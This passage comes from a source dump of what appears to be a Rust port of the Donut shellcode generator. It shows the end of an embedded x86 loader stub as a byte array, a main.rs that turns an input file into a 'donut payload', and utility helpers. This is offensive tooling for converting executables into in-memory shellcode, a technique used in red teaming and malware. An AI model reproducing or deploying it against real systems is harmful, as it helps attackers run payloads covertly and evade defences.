0x08, 0x8b, 0x74, 0x24, 0x28, 0x03, 1288 | 0xc2, 0xc1, 0xce, 0x08, 0x33, 0xc7, 0x03, 0xf7, 0xc1, 0xc2, 0x03, 0x33, 0xf3, 0xc1, 0xc7, 1289 | 0x03, 0x33, 0xd0, 0x89, 0x6c, 0x24, 0x28, 0x33, 0xfe, 0x8b, 0xe9, 0x43, 0x83, 0xfb, 0x1b, 1290 | 0x72, 0xd6, 0x5f, 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x10, 0xc3, 0x8b, 0x54, 0x24, 0x10, 0x83, 1291 | 0xec, 0x14, 0x53, 0x8b, 0x5c, 0x24, 0x20, 0x55, 0x8b, 0x6c, 0x24, 0x28, 0x85, 0xd2, 0x0f, 1292 | 0x84, 0xec, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x8d, 0x4b, 0x0f, 0x40, 0x89, 0x4c, 0x24, 0x2c, 1293 | 0x2b, 0xc3, 0x56, 0x89, 0x44, 0x24, 0x0c, 0x57, 0x8d, 0x44, 0x24, 0x14, 0x3b, 0xc1, 0x77, 1294 | 0x04, 0x8d, 0x44, 0x24, 0x23, 0x8b, 0xf3, 0x8d, 0x7c, 0x24, 0x14, 0x33, 0xc9, 0xa5, 0xa5, 1295 | 0xa5, 0xa5, 0x8b, 0x74, 0x24, 0x28, 0x8b, 0x04, 0x8e, 0x31, 0x44, 0x8c, 0x14, 0x41, 0x83, 1296 | 0xf9, 0x04, 0x72, 0xf3, 0x8b, 0x74, 0x24, 0x20, 0x8b, 0x44, 0x24, 0x1c, 0x8b, 0x7c, 0x24, 1297 | 0x18, 0x8b, 0x4c, 0x24, 0x14, 0xc7, 0x44, 0x24, 0x30, 0x10, 0x00, 0x00, 0x00, 0x03, 0xcf, 1298 | 0x03, 0xc6, 0xc1, 0xc7, 0x05, 0x33, 0xf9, 0xc1, 0xc6, 0x08, 0x33, 0xf0, 0xc1, 0xc1, 0x10, 1299 | 0x03, 0xc7, 0x03, 0xce, 0xc1, 0xc7, 0x07, 0xc1, 0xc6, 0x0d, 0x33, 0xf8, 0x33, 0xf1, 0xc1, 1300 | 0xc0, 0x10, 0x83, 0x6c, 0x24, 0x30, 0x01, 0x75, 0xd7, 0x8b, 0x5c, 0x24, 0x28, 0x89, 0x4c, 1301 | 0x24, 0x14, 0x33, 0xc9, 0x89, 0x74, 0x24, 0x20, 0x89, 0x7c, 0x24, 0x18, 0x89, 0x44, 0x24, 1302 | 0x1c, 0x8b, 0x04, 0x8b, 0x31, 0x44, 0x8c, 0x14, 0x41, 0x83, 0xf9, 0x04, 0x72, 0xf3, 0x6a, 1303 | 0x10, 0x5e, 0x3b, 0xd6, 0x8b, 0xca, 0x0f, 0x47, 0xce, 0x85, 0xc9, 0x74, 0x15, 0x8d, 0x7c, 1304 | 0x24, 0x14, 0x8b, 0xf5, 0x2b, 0xfd, 0x8b, 0xd9, 0x8a, 0x04, 0x37, 0x30, 0x06, 0x46, 0x83, 1305 | 0xeb, 0x01, 0x75, 0xf5, 0x8b, 0x5c, 0x24, 0x10, 0x2b, 0xd1, 0x03, 0xe9, 0x8b, 0x4c, 0x24, 1306 | 0x34, 0x80, 0x01, 0x01, 0x75, 0x08, 0x49, 0x8d, 0x04, 0x0b, 0x85, 0xc0, 0x7f, 0xf3, 0x8b, 1307 | 0x5c, 0x24, 0x2c, 0x8d, 0x4b, 0x0f, 0x85, 0xd2, 0x0f, 0x85, 0x28, 0xff, 0xff, 0xff, 0x5f, 1308 | 0x5e, 0x5d, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x83, 0xec, 0x14, 0x8b, 0x4c, 0x24, 0x18, 0x83, 1309 | 0x64, 0x24, 0x10, 0x00, 0x53, 0x55, 0x8b, 0x6c, 0x24, 0x24, 0x8a, 0x01, 0x56, 0x57, 0x88, 1310 | 0x45, 0x00, 0x83, 0xcf, 0xff, 0x8d, 0x45, 0x01, 0x33, 0xf6, 0x89, 0x44, 0x24, 0x18, 0x33, 1311 | 0xdb, 0x8d, 0x41, 0x01, 0x89, 0x5c, 0x24, 0x10, 0x89, 0x44, 0x24, 0x14, 0x8d, 0x44, 0x24, 1312 | 0x14, 0x50, 0xe8, 0x67, 0x01, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x32, 0x01, 0x00, 1313 | 0x00, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xe8, 0x54, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x8d, 0x44, 1314 | 0x24, 0x18, 0x59, 0x50, 0x74, 0x7d, 0xe8, 0x45, 0x01, 0x00, 0x00, 0x59, 0x85, 0xc0, 0x74, 1315 | 0x37, 0x6a, 0x04, 0x33, 0xf6, 0x5b, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xe8, 0x31, 0x01, 0x00, 1316 | 0x00, 0x59, 0x8d, 0x34, 0x70, 0x83, 0xeb, 0x01, 0x75, 0xed, 0x8b, 0x54, 0x24, 0x18, 0x85, 1317 | 0xf6, 0x74, 0x0a, 0x8b, 0xc2, 0x2b, 0xc6, 0x8a, 0x00, 0x88, 0x02, 0xeb, 0x03, 0xc6, 0x02, 1318 | 0x00, 0x8b, 0x5c, 0x24, 0x10, 0x42, 0xe9, 0xef, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x14, 1319 | 0x8b, 0x54, 0x24, 0x18, 0x0f, 0xb6, 0x38, 0x40, 0x8b, 0xcf, 0x89, 0x44, 0x24, 0x14, 0x83, 1320 | 0xe1, 0x01, 0x83, 0xc1, 0x02, 0xd1, 0xef, 0x74, 0x14, 0x8b, 0xf2, 0x2b, 0xf7, 0x8a, 0x06, 1321 | 0x88, 0x02, 0x42, 0x46, 0x83, 0xe9, 0x01, 0x75, 0xf5, 0xe9, 0xa4, 0x00, 0x00, 0x00, 0x33, 1322 | 0xdb, 0x43, 0x89, 0x5c, 0x24, 0x10, 0xe9, 0x9c, 0x00, 0x00, 0x00, 0xe8, 0xfc, 0x00, 0x00, 1323 | 0x00, 0x8b, 0xd0, 0x59, 0x85, 0xf6, 0x75, 0x2b, 0x83, 0xfa, 0x02, 0x75, 0x26, 0x8d, 0x44, 1324 | 0x24, 0x14, 0x50, 0xe8, 0xe6, 0x00, 0x00, 0x00, 0x8b, 0x54, 0x24, 0x1c, 0x8b, 0xf0, 0x59, 1325 | 0x85, 0xf6, 0x74, 0x76, 0x8b, 0xca, 0x2b, 0xcf, 0x8a, 0x01, 0x88, 0x02, 0x42, 0x41, 0x83, 1326 | 0xee, 0x01, 0x75, 0xf5, 0xeb, 0x61, 0x8b, 0x4c, 0x24, 0x14, 0x8d, 0x44, 0x24, 0x14, 0x83, 1327 | 0xf6, 0x01, 0x2b, 0xd6, 0xc1, 0xe2, 0x08, 0x0f, 0xb6, 0x39, 0x81, 0xc7, 0x00, 0xfe, 0xff, 1328 | 0xff, 0x03, 0xfa, 0x41, 0x50, 0x89, 0x4c, 0x24, 0x18, 0xe8, 0xa4, 0x00, 0x00, 0x00, 0x59, 1329 | 0x8b, 0xc8, 0x81, 0xff, 0x00, 0x7d, 0x00, 0x00, 0x72, 0x01, 0x41, 0x8b, 0x54, 0x24, 0x18, 1330 | 0x8d, 0x41, 0x01, 0x81, 0xff, 0x00, 0x05, 0x00, 0x00, 0x0f, 0x42, 0xc1, 0x81, 0xff, 0x80, 1331 | 0x00, 0x00, 0x00, 0x8d, 0x70, 0x02, 0x0f, 0x43, 0xf0, 0x85, 0xf6, 0x74, 0x13, 0x8b, 0xca, 1332 | 0x2b, 0xcf, 0x8a, 0x01, 0x88, 0x02, 0x42, 0x41, 0x83, 0xee, 0x01, 0x75, 0xf5, 0x89, 0x54, 1333 | 0x24, 0x18, 0x33, 0xf6, 0x46, 0xeb, 0x18, 0x8b, 0x4c, 0x24, 0x14, 0x8b, 0x54, 0x24, 0x18, 1334 | 0x8a, 0x01, 0x88, 0x02, 0x42, 0x41, 0x89, 0x4c, 0x24, 0x14, 0x33, 0xf6, 0x89, 0x54, 0x24, 1335 | 0x18, 0x85, 0xdb, 0x0f, 0x84, 0x9b, 0xfe, 0xff, 0xff, 0x5f, 0x5e, 0x2b, 0xd5, 0x5d, 0x8b, 1336 | 0xc2, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x8b, 0x54, 0x24, 0x04, 0x8b, 0x4a, 0x0c, 0x8d, 0x41, 1337 | 0xff, 0x89, 0x42, 0x0c, 0x85, 0xc9, 0x75, 0x13, 0x8b, 0x02, 0x8a, 0x08, 0x40, 0x89, 0x02, 1338 | 0xc7, 0x42, 0x0c, 0x07, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0xc1, 0xeb, 0x03, 0x8b, 0x42, 0x08, 1339 | 0x8d, 0x0c, 0x00, 0xc1, 0xe8, 0x07, 0x89, 0x4a, 0x08, 0x83, 0xe0, 0x01, 0xc3, 0x56, 0x33, 1340 | 0xf6, 0x46, 0xff, 0x74, 0x24, 0x08, 0xe8, 0xbf, 0xff, 0xff, 0xff, 0xff, 0x74, 0x24, 0x0c, 1341 | 0x8d, 0x34, 0x70, 0xe8, 0xb3, 0xff, 0xff, 0xff, 0x59, 0x59, 0x85, 0xc0, 0x75, 0xe5, 0x8b, 1342 | 0xc6, 0x5e, 0xc3, 0x8b, 0x54, 0x24, 0x0c, 0x8b, 0x44, 0x24, 0x04, 0x56, 0x8b, 0xf0, 0x85, 1343 | 0xd2, 0x74, 0x13, 0x57, 0x8b, 0x7c, 0x24, 0x10, 0x2b, 0xf8, 0x8a, 0x0c, 0x37, 0x88, 0x0e, 1344 | 0x46, 0x83, 0xea, 0x01, 0x75, 0xf5, 0x5f, 0x5e, 0xc3, 0x8a, 0x44, 0x24, 0x08, 0x8b, 0x4c, 1345 | 0x24, 0x0c, 0x57, 0x8b, 0x7c, 0x24, 0x08, 0xf3, 0xaa, 0x8b, 0x44, 0x24, 0x08, 0x5f, 0xc3, 1346 | 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x4c, 0x24, 0x08, 0x53, 0x8a, 0x10, 0x84, 0xd2, 0x74, 0x0e, 1347 | 0x8a, 0x19, 0x84, 0xdb, 0x74, 0x08, 0x3a, 0xd3, 0x75, 0x04, 0x40, 0x41, 0xeb, 0xec, 0x0f, 1348 | 0xbe, 0x00, 0x0f, 0xbe, 0x09, 0x2b, 0xc1, 0x5b, 0xc3, 1349 | ]; 1350 | } 1351 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | pub mod crypt; 2 | pub mod definitions; 3 | pub mod donut; 4 | pub mod loader; 5 | pub mod utils; 6 | 7 | use definitions::{DonutConfig, DonutParser}; 8 | use donut::{create_config, donut_from_file}; 9 | use std::{fs, io::prelude::*}; 10 | 11 | fn main() { 12 | // parse args 13 | let cli: DonutParser = argh::from_env(); 14 | 15 | // create config 16 | let mut config = DonutConfig::default(); 17 | create_config(&cli, &mut config); 18 | 19 | // create donut payload 20 | let payload = match donut_from_file(cli.input, &mut config) { 21 | Ok(payload) => payload, 22 | Err(e) => { 23 | println!("{}", e); 24 | std::process::exit(1); 25 | } 26 | }; 27 | 28 | // write payload to file 29 | let mut output_file = fs::File::create(cli.output).expect("could not write file"); 30 | output_file 31 | .write_all(&payload) 32 | .expect("could not write contents to output file"); 33 | } 34 | -------------------------------------------------------------------------------- /src/utils.rs: -------------------------------------------------------------------------------- 1 | use crate::definitions::*; 2 | use byteorder::{ByteOrder, LittleEndian, ReadBytesExt}; 3 | use rand::Rng; 4 | use std::convert::TryInto; 5 | 6 | pub fn random_string(size: usize) -> String { 7 | const CHARSET: &[u8] = b"abcdefghijklmnopqrstuvwxyz"; 8 | let mut rng = rand::thread_rng(); 9 | let rand_string: String = (0..size) 10 | .map(|_| { 11 | let idx = rng.gen_range(0, CHARSET.len()); 12 | CHARSET[idx] as char 13 | }) 14 | .collect(); 15 | rand_string 16 | } 17 | 18 | pub fn to_array_donut_max_name(target: &str) -> [u8; DONUT_MAX_NAME] { 19 | if target.len() > DONUT_MAX_NAME { 20 | panic!("Exceeds DONUT_MAX_NAME length:\n{}", target); 21 | } 22 | to_array_usize(target) 23 | } 24 | 25 | pub fn to_array_usize(target: &str) -> [u8; N] { 26 | let mut tmp = [0u8; N]; 27 | for (i, byte) in target.bytes().enumerate() { 28 | tmp[i] = byte; 29 | } 30 | tmp 31 | } 32 | 33 | pub fn generate_bytes_16() -> [u8; 16] { 34 | let mut rng = rand::thread_rng(); 35 | let rand_bytes: [u8; 16] = rng.gen(); 36 | rand_bytes 37 | } 38 | 39 | pub fn generate_bytes() -> [u8; N] { 40 | let mut rng = rand::thread_rng(); 41 | let mut rand_bytes: [u8; N] = [0u8; N]; 42 | for i in 0..N { 43 | rand_bytes[i] = rng.gen(); 44 | } 45 | rand_bytes 46 | } 47 | 48 | pub fn array_to_u64(arr: [u8; 8]) -> u64 { 49 | let mut cur = std::io::Cursor::new(arr.to_vec()); 50 | cur.read_u64::().unwrap() 51 | } 52 | 53 | pub fn array_to_u128(arr: [u8; 16]) -> u128 { 54 | let mut cur = std::io::Cursor::new(arr.to_vec()); 55 | cur.read_u128::().unwrap() 56 | } 57 | 58 | // function similar to struct.pack from python3 59 | pub fn pack(val: u32) -> [u8; 4] { 60 | let mut bytes = [0; 4]; 61 | LittleEndian::write_u32(&mut bytes, val); 62 | bytes 63 | } 64 | 65 | pub fn pack_u64(val: u64) -> [u8; 8] { 66 | let mut bytes = [0; 8]; 67 | LittleEndian::write_u64(&mut bytes, val); 68 | bytes 69 | } 70 | 71 | pub fn to_u32x4(bytes: &[u8; 16]) -> [u32; 4] { 72 | [ 73 | LittleEndian::read_u32(&bytes[0..4]), 74 | LittleEndian::read_u32(&bytes[4..8]), 75 | LittleEndian::read_u32(&bytes[8..12]), 76 | LittleEndian::read_u32(&bytes[12..16]), 77 | ] 78 | } 79 | 80 | pub fn to_u32x2(bytes: &[u8; 8]) -> [u32; 2] { 81 | [ 82 | LittleEndian::read_u32(&bytes[0..4]), 83 | LittleEndian::read_u32(&bytes[4..8]), 84 | ] 85 | } 86 | 87 | pub fn from_u32x2_u64(target: [u32; 2]) -> u64 { 88 | let mut tmp: Vec = Vec::new(); 89 | for i in &target { 90 | tmp.extend(&i.to_le_bytes()); 91 | } 92 | LittleEndian::read_u64(&tmp) 93 | } 94 | 95 | pub fn from_u32x4(target: [u32; 4]) -> [u8; 16] { 96 | let mut tmp: Vec = Vec::new(); 97 | for i in &target { 98 | tmp.extend(&i.to_le_bytes()); 99 | } 100 | tmp.try_into().expect("could not convert string to array") 101 | } 102 | 103 | pub unsafe fn any_as_u8_slice(p: &T) -> &[u8] { 104 | ::std::slice::from_raw_parts((p as *const T) as *const u8, ::std::mem::size_of::()) 105 | } 106 | --------------------------------------------------------------------------------